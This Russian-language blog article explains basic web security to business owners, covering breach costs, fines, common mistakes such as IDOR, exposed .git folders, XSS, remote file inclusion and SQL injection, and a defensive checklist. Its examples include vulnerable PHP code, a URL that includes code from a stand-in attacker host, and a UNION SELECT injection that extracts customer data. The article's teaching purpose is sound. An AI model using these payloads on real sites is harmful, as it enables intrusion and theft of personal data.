Вы знали, что всего за пару часов вовлечённости в проект можно сэкономить десятки тысяч рублей? А иногда даже сотни. Сегодня мы научимся экономить наши кровные деньги, не отдавать их злоумышленникам — и всё это через обучение основам веб-безопасности.
Меня зовут Максим Колмогоров, я технический директор IT‑компании vverh.digital. За 8 лет активной разработки я прошёл путь от джуниора, который «гробил» проекты из‑за элементарных ошибок в безопасности, до технического директора, который отвечает за защиту более 80 проектов. Каждая утечка, каждый взлом на ранних этапах карьеры — это урок для меня, который стоил денег, нервов и иногда даже репутации. Сейчас я понимаю, как предотвратить 90% проблем ещё на этапе разработки.
Эта статья не для специалистов по информационной безопасности. Я не буду рассказывать про какие‑то сложные и «секретные» техники (хотя кое‑что интересное будет). Эта статья — для предпринимателей, стартаперов и начинающих CTO малого бизнеса, которым нужно понять: что такое разумный минимум безопасности и сколько это стоит. Спойлер — недорого.
Сколько стоит взлом: реальные цифры
Масштаб проблемы в России и СНГ
Согласно данным F6, в 2025 году зафиксировано 250 утечек баз данных, связанных с компаниями из России и стран СНГ. Это только публичные случаи — реальное число инцидентов в разы больше, потому что многие компании предпочитают молчать о взломах.
P.S: исходя из личного опыта, могу утверждать, что это число занижено минимум в 2 раза. Хочу сказать даже в 4 раза, но боюсь г*вна на вентилятор накинуть случайно.
Сколько стоит восстановление
Здесь нет универсальной цифры — всё зависит от масштаба катастрофы:
Сценарий 1: легкий уровень сложности.
Взломали сайт, подменили главную страницу, но бэкапы есть. Откатили из резервной копии, поменяли пароли, закрыли дыру в безопасности.
Итого: от 2 до 10 тысяч рублей на работу специалиста + репутационный удар.
Сценарий 2: уже неприятно
Злоумышленники зашифровали сервер (как у меня однажды случилось — взлом через SSH с подбором пароля). Естественно, не шутки ради, а деньги вымогали. Вариант платить не рассматриваем, слишком легко.
Если бэкапы есть, смотрим сценарий 1. Если бэкапов нет или они тоже скомпрометированы, то есть решение: исходный код проекта можно восстановить из Git (если он есть, иначе смотрим сценарий 3).
А что с клиентскими данными? Верно, чаще всего их в Git нет. Ну… они потеряны. Просто терпим и пытаемся в грязь лицом перед клиентами не упасть из‑за нерабочего сервиса.
А если у нас ещё и интернет‑магазин, то как‑то товары придётся восстановить. Тут даже думать не буду, сами на своей шкуре прикиньте, сколько это времени займёт. У всех по‑разному.
Итого: тысяч 30 за такой «ремонт» точно придётся выложить. И это не считая упущенной прибыли.
Сценарий 3: катастрофа (недели/месяцы восстановления)
Нет бэкапов. Нет Git‑репозитория. Проект разрабатывался год, вложено 300–500 тысяч рублей только на разработку. Плюс утечка клиентских данных, а это ещё и привет штрафы по 152-ФЗ (об этом ниже).
Итого: делаем новый проект, тратим от сотен тысяч до миллионов рублей на разработку и штрафы + потеря клиентов + удар по репутации. А, ну или сразу запускаем жизнеутверждающий процесс банкротства, чтоб более не мучаться.
Юридические последствия (152-ФЗ)
С 30 мая 2025 года штрафы за утечку персональных данных выросли до космических сумм:
До 20 млн ₽ за утечку персональных данных (для юридических лиц, повторное нарушение);
До 3 млн ₽ за несвоевременное уведомление Роскомнадзора об утечке;
Оборотный штраф — 1–3% от годовой выручки (не менее 20 млн ₽) за повторную утечку.
Да, я пугаю максимальными цифрами, хотя даже для условного ИПэшника штрафы начинаются от десяти тысяч рублей. Так что надеюсь, я достаточно вас замотивировал заняться базовой безопасностью своего веб‑сервиса.
Статистика методов взлома в России и СНГ
Фишинг — на первом месте. Злоумышленники отправляют письма с поддельными ссылками, выманивают логины и пароли у сотрудников.
Использование украденных учётных данных — второе место. Купили базу с паролями, пробуют на вашем сайте с помощью обычного скрипта «перебора» — вдруг сработает?
Эксплуатация уязвимостей в общедоступных приложениях — третье место. Это устаревшие CMS (WordPress, Joomla, Bitrix), плагины, библиотеки с известными дырами, которые: никто не исправляет; или уже исправили, но вы лично не обновились.
Вывод: взломы в 2026 году — это массовые автоматизированные атаки, рассчитанные на лень и невнимательность людей. Вы попадаете в зону риска не потому, что интересны хакерам, а потому что у вас есть известная уязвимость, которую легко найти и эксплуатировать.
Распространенные ошибки и пути их решения
Или ТОП-8 ошибок при разработке и эксплуатации сайта.
Просто… будьте внимательны
Кому‑то смешно от этого пункта, но я его оставлю. Банально от фишинга по‑другому не защититься. Кто, кроме вас самих, проконтролирует, куда вводятся данные от банковской карты? Точно это id.sber.ru или всё‑таки id.sder.ru? Банально можно прислать вам ссылку якобы от вашей панели управления, куда вы сами добровольно введёте логин и пароль от своего сайта. Со всякими типовыми CMS а‑ля Bitrix и WordPress это делается довольно просто.
Уровни доступа к данным
В личном кабинете вашего сервиса есть страница с личными данными пользователя. Банально, информация для страницы берётся по API через адрес /api/user/1. Цифра 1 в URL‑адресе — это (допустим) ID авторизованного пользователя в сессии на сервере или где‑то в cookie на клиенте.
В самом таком подходе пока нет ошибки, но вот только если, меняя цифру в конце, мы будем получать данные разных пользователей (не только свои) — это критическая ошибка, считайте, это тот самый «слив» персональных данных.
Пример из жизни: пользователь заходит в свой профиль по ссылке example.com/profile?id=42. Меняет id=42 на id=43 — и видит чужие данные: телефон, email, историю заказов. Это реальная уязвимость, которую я встречал в десятках проектов.
Решение: достаточно на сервере проверять, равен ли ID пользователя в сессии с тем, который мы запрашиваем. Ну или сделать специальный маршрут по типу /api/user/my/data, в котором уже будут приходить только данные авторизованного пользователя.
Естественно, все эти проверки должны быть на сервере, а не в браузере через JavaScript.
Утечка данных
Утечка данных — несанкционированный доступ к конфиденциальной информации. Спровоцировать утечку можно огромным количеством способов, один из которых — фишинг. Но мы его уже обсуждали, перейдём к другим не менее изощренным вариантам.
Во-первых, "криво" настроен сервер на работу с файлами.
Если вы используете Git, то некоторые реализации веб-серверов могут дать к нему доступ любому человеку. Достаточно написать example.com/.git — и вся история изменения вашего проекта есть у плохого парня.
В ней (в истории Git) могут быть «скрытые» API‑ключи, которые разработчик случайно раскрыл в коде, а не оставил в.env файле. Тут могут быть даже пароли для базы данных. И что‑то мне подсказывает, что персональные данные в вашей базе даже не зашифрованы.
За 8 лет работы НИ РАЗУ не видел, чтобы кто‑то в сегменте малого бизнеса шифровал персональные данные пользователей самостоятельно. Понимаю, это кажется излишним, плюс нет типового решения, но это стоит того.
У многих проектов база данных доступна для любого подключения извне, а у всех баз данных общеизвестный порт (чаще всего), а значит, небольшой перебор из потенциальных распространённых вариантов — и данные попали в руки не тем людям.
«Скрытые» API‑ключи могут быть как ключами от эквайринга, так и просто оплаченные сервисы API (Яндекс.Карты, Dadata, ChatGPT) за большие деньги. Да, это уже не утечка персональных данных, а утечка ваших ключей, но тоже неприятно.
Кстати, о такой «утечке» ключей вы даже не узнаете, ключ просто перепродают на чёрном рынке (где‑нибудь в Telegram) по цене пачки семечек. Вам лишь удастся заметить проблему, когда драгоценные лимиты ключа не в первый раз растают за пару дней, а не растянутся на привычные недели.
Во‑вторых, многие оставляют в production тестовых администраторов.
Логин admin@example.ru и пароль secret. Как итог — высокий шанс несанкционированного доступа к панели управления. Если это Bitrix, то у плохиша есть доступ к файловой системе, если самопис — зависит от него, но тоже мало «хорошего».
В‑третьих, почти никто не шифрует персональные данные в базе данных.
Я об этом сказал выше вскользь, но тут раскрою. Представьте, слили вашу базу данных, а там… набор каких‑то пиктограмм и точек с запятыми.
Тут как минимум вы избегаете штрафа за слив данных, потому что персональных данных тут и нет (ну, в каком‑то смысле они есть… но попробуй разберись, что есть что).
Для таких целей можно использовать AES‑шифрование — оно работает в обратную сторону (то есть можно расшифровать «каракули»). Главное — не слить «секретный» ключ, по которому будет происходить шифрование и расшифровка.
Так, подведём итог по разделу.
Чтобы избежать утечки данных, достаточно:
Не давать доступ к.git (да вообще к служебным файлам) через URL‑адрес сайта;
Не использовать простые пароли для панелей управления;
Настроить шифрование пользовательских персональных данных в базе данных;
Настроить работу API‑ключей на определённые IP‑адреса (многие сервисы так умеют);
Не «выплевывать» в интернет базу данных по стандартному порту, а вообще — можно запретить к ней «лишние» подключения. Тот же Docker делает это по умолчанию, если вы только явно через команду ports в docker‑compose.yml их не откроете для всех;
А чтобы минимизировать утечку секретных ключей, можно рассмотреть использование Vault. Это отдельная подпрограмма, которая может хранить все секретные ключи и дает удобное API для получения их прямо в нужные скрипты.
Чтение всего незащищенного трафика
Представьте: вы отправляете письмо, но не в конверте, а на открытке. HTTP — самый стандартный протокол в интернете — работает именно так. Все данные передаются открытым текстом, даже не шифруются.
То есть если где‑то вы вводите логин и пароль — его может прочитать третье лицо. Но как? Всё просто: достаточно подключиться к неизвестной Wi‑Fi‑сети, и плохой парень уже знает о вас больше, чем нужно. Он просто анализирует весь интернет‑трафик через Wireshark на своём роутере, он же всё равно не зашифрован.
Решение: не использовать HTTP в 2026 году. Только HTTPS‑подключения, с принудительным перенаправлением всех HTTP‑запросов в HTTPS. Только так можно себя обезопасить, ибо HTTPS по умолчанию шифрует все запросы с помощью браузера и сервера. Причём алгоритм умный, третье лицо не сможет сюда вклиниться.
Бонус: SSL‑сертификат можно получить бесплатно через Let's Encrypt. Настройка занимает 10–15 минут у профессионала. Не экономь, дядя (или тетя, смотря кто читает).
Перебор паролей
Или brute‑force. Его суть проста: просто перебираются комбинации логин + пароль, пока не выйдет авторизоваться. Это всё, тут даже объяснять нечего, реально так просто «в лоб».
Решение: использовать капчу, те самые цифры/буквы, которые никому не нравится набирать. Главное — правильно её интегрировать. Также блокировать аккаунт пользователя на какое‑то время, если он неправильно ввёл логин и пароль много раз. Можно блокировать только IP‑адрес, но смысла сейчас в этом мало: боты используют proxy, и поменять IP‑адрес для них — дело 1/5 секунды. Также не забываем про анализаторы трафика, в России есть аналоги Cloudflare — Yandex Smart Web Security. Они умеют такое распознавать и блокировать.
XSS-атаки
XSS‑атака (межсайтовый скриптинг) — одна из разновидностей атак на веб‑сайты, во время которой злоумышленник внедряет вредоносный JavaScript‑код в исходный код какой‑либо страницы атакуемого веб‑сайта.
Делается это очень просто: взломщик может отправить какой‑то текст с HTML‑кодом через форму обратной связи. Это может быть комментарий в блоге или даже заказ из корзины интернет‑магазина.
В данном примере злоумышленник отправит на атакуемый сервер такой код. Включая 4-ю строку и всё, что находится ниже (в теге <script>), не будет отображено браузером. Браузер посчитает это командой и выполнит данный код. Он отправит на сайт с 12-й строчки ваши cookie (все самые важные секретики находятся там).
Многие CMS и системы используют cookie для авторизации в систему. Например, раньше такое использовалось в Одноклассниках и ВКонтакте, чтобы пользователь после перезагрузки браузера мог не вводить пароль снова.
Решение:
Не доверять пользовательским данным — всегда фильтровать HTML‑теги через язык программирования, на котором работает сайт. Например, в PHP есть функции htmlspecialchars(), а в Node.js библиотека с аналогичным названием;
Использовать флаг HttpOnly для cookie, чтобы JavaScript не мог их прочитать. Это мастхэв для всех cookie связанных с авторизацией.
Инъекции исполняемых файлов
Во‑первых, во многих языках программирования есть eval‑подобные функции. В PHP, Python и Node.js — eval(), прямо так и пишется. В эту функцию можно загнать код в виде текста — и она его исполнит.
То есть, если злоумышленник хоть каким‑то образом поймёт механизм, где и как у вас эти функции используются, он с высокой долей вероятности может внедрить свой код в вашу систему.
Во‑вторых, помимо eval‑функций есть ещё и другие функции, которые способны запускать код. Например, в PHP есть функция include_once($file), и если в $file указать путь до файла — можно его исполнить.
Давайте дам простейший пример PHP‑кода, который может привести к инъекции:
$file = $_GET[‘file’]; include_once($file);
По данному выше коду можно понять, что путь к файлу берётся из GET‑параметра в URL (ссылка имеет вид https://site/?file=файл.php). Злоумышленник может создать файл с вредоносным кодом на своем сервере (например, https://bad‑site/injection.php) и затем подключить файл по ссылке https://site/?file=https://bad‑site/injection.php и выполнить любой php‑код.
Решение: а тут нет простого ответа. Всё зависит от языка программирования.
Например, языки программирования, которые «исполняются» в реальном времени по запросу пользователя, чаще всего подвергаются таким взломам. Поэтому PHP по умолчанию менее безопасен, чем Python и Node.js. В Python, Node.js, Kotlin, Go сложно добиться инъекции исполняемого файла — ну, только если намеренно не заложить её в код специально.
В PHP одним из вариантов избавления от данной уязвимости является выставление в конфигурационном файле PHP (php.ini) значения Off для константы allow_url_fopen.
Но вот от eval‑функций защиты нет. Их просто лучше не использовать — и это касается всех языков программирования, в которых они есть.
SQL‑инъекции
До сих пор считаю это одним из самых гениальных взломов. К слову, самый сложный для восприятия кусок статьи — без напряжения мозга будет сложно понять. Поэтому оставил на конец.
SQL — это декларативный язык программирования, с помощью которого сервер в лице PHP, Node.js, Python обращается к SQL‑подобной базе данных. «SQL‑базы» — самые распространённые хранилища данных в веб‑приложениях, их используют все популярные CMS, начиная от Bitrix и WordPress и заканчивая Joomla.
Ниже я покажу на примере SQL‑инъекцию. Если вы вдруг ничего не поймёте — не страшно. Данную информацию тяжело воспринимать без технических знаний (SQL и PHP).
Например, злоумышленник представил, что запрос получения информации о товаре на сайте выглядит примерно следующим образом:
SELECT * FROM catalog_products WHERE id = идентификатор;
«Идентификатор» — это абстрактная переменная, которая может браться из GET‑параметра product_id в URL‑адресе. URL будет иметь вид: https://site/catalog?product_id=2109.
Значит, где‑то на сервере происходит что‑нибудь по типу следующего кода:
$id = $_GET['product_id']; $sql = 'SELECT * FROM catalog_products WHERE id = "' . $id . '"; return $database->getOneRow($sql);
Если злоумышленник убедится в том, что на сервере при формировании запроса происходит конкатенация (склеивание строк) без их предварительной обработки, то он может внедрить вредоносный код в SQL‑запрос.
Например, сформировав ссылку вида: https://site/catalog?product_id=2109 GROUP BY 8. Где GROUP BY 8 — это подбор количества возвращаемых полей. Если скрипт не выдаст ошибку (злоумышленник получит необходимую информацию через браузер), то значит, SQL‑инъекция удалась.
Допустим, злоумышленник знает, что существует таблица orders, в которой хранится ФИО клиента (столбцы firstname, lastname, middlename), email (столбец email), телефон (столбец phone) и домашний адрес покупателя (столбец address).
Сформировав URL вида: https://site/catalog?product_id=2109' UNION SELECT firstname, lastname, middlename, email, phone, address, 7, 8 FROM orders WHERE id=1, он получит всю информацию о заказе с идентификатором 1. Таким образом он может перебрать все заказы на сайте.
Решение: защититься от SQL‑инъекций можно с помощью использования подготовленных запросов (prepared statements, прямо так можно «загуглить»), экранирования специальных символов и правильного разграничения прав на запросы к базе данных. Так что, уточните используют ли ваши разработчики такую технологию при работе с SQL.
Практический чеклист для бизнеса
Теперь, чтобы вынести какие‑то полезные знания из этой статьи, давайте сформируем что‑то вроде чек‑листа — ну, чтобы знать хотя бы, что проверять. Эдакий базовый минимум безопасности, плюс пара моих советов.
Базовая защита — будьте внимательны, проверьте права доступа у разных пользователей, настройте защиту от SQL‑инъекций, XSS, перебора паролей (капча, блокировки), шифруйте данные, закройте доступ файлам, используйте HTTPS на всём сайте. Иными словами — убедитесь, что реализованы все советы из тех 8 пунктов, что мы обсудили выше;
Регулярно обновляйте CMS, плагины, NPM‑пакеты и так далее (что там используете). В них бывают уязвимости, которые связаны с конкретным языком программирования (на чем они реализованы). Вы/ваши разработчики о них даже можете не знать, поэтому просто лишний раз обновитесь. Хотя бы раз в квартал;
Используйте для своих учетных данных только сложные пароли. И рассмотрите добавление двухфакторной аутентификации для входа в панель управления;
Не забывайте про резервное копирование, меня оно спасало сотни раз;
По возможности, настройте логирование всех запросов к вашему проекту и анализируйте их хотя бы раз в день. Что искать? Любые подозрительные закономерности;
Если используете языки по типу PHP, то периодически прогоняйте файлы сайта на хостинге через антивирусы или анализаторы кода;
Если используете Docker, рассмотрите использование Harbor. Много описывать тут не буду, просто скажу что эта штука умеет сканировать ваши образы на уязвимости. Можно этим заменить прошлый пункт;
Имейте план реагирования на инциденты связанные с безопасностью: кто, что и когда будет делать. Контакты нужных специалистов, инструкция по восстановлению сайта — пусть это будет под рукой.
Важно: не обязательно внедрять всё сразу. Начните с базовой защиты — это закроет 90% типовых автоматизированных атак.
Кому доверить свою безопасность
В любом случае советы и чек‑листы дать может каждый, а вот кто это всё будет делать? В статье написаны… довольно сложные вещи, особенно если говорим про SQL‑инъекции: не все сами сразу могут в этом разобраться. Ну тут все довольно просто:
Если у вас есть свой IT‑отдел
Сформируйте подразделение информационной безопасности (или хотя бы назначьте ответственного). Пусть они занимаются всеми этими «приколами»: регулярными обновлениями, мониторингом, аудитом кода, настройкой защиты.
Главное — не перекладывайте безопасность на разработчиков «по остаточному принципу». Им до фонаря.
Если вы небольшая компания или зажиточный одиночка
Наймите аудит безопасности. Особенно если навайбкодили свой сервис, не имея опыта. Специалисты проверят ваш проект на типовые уязвимости и дадут конкретные рекомендации по их устранению.
Стоит это около 30 тысяч рублей — намного дешевле, чем восстановление после взлома и штрафы по 152-ФЗ.
P.S: цену с потолка взял, в интернете нет информации, везде «цена по запросу», но я бы столько взял за типовой проект, хотя такую услугу не предоставляю.
Для тех, у кого нет бюджета
Тогда хотя бы пройдитесь по чек‑листу выше самостоятельно. Можете попросить разработчика, которому сильно доверяете. Займёт пару часов — сэкономит десятки тысяч рублей (если найдете и исправите ошибки).
Заключение
Во‑первых, спасибо, что дочитали до конца! Я люблю писать статьи, а если они еще и полезные получаются — это делает меня счастливым (не, я серьезно).
Во‑вторых, безопасность веб‑приложений — это не паранойя. Поверьте, это разумные затраты времени и денег на предотвращение потерь.
В‑третьих, злоумышленники не выбирают вас лично. Они просто ищут лёгкие цели — сайты с открытой файловой системой, слабыми паролями, устаревшими CMS. Достаточно не быть лёгкой целью. Вы же по улице не ходите с пачкой денег и не кричите каждому сколько зарабатываете?
Отдельное спасибо Никите Черушеву из Авито за консультацию и проверку моего материала «на вшивость». Это моя первая статья на Хабр, пока ищу какой контент хочу писать: попроще или «похардовей».
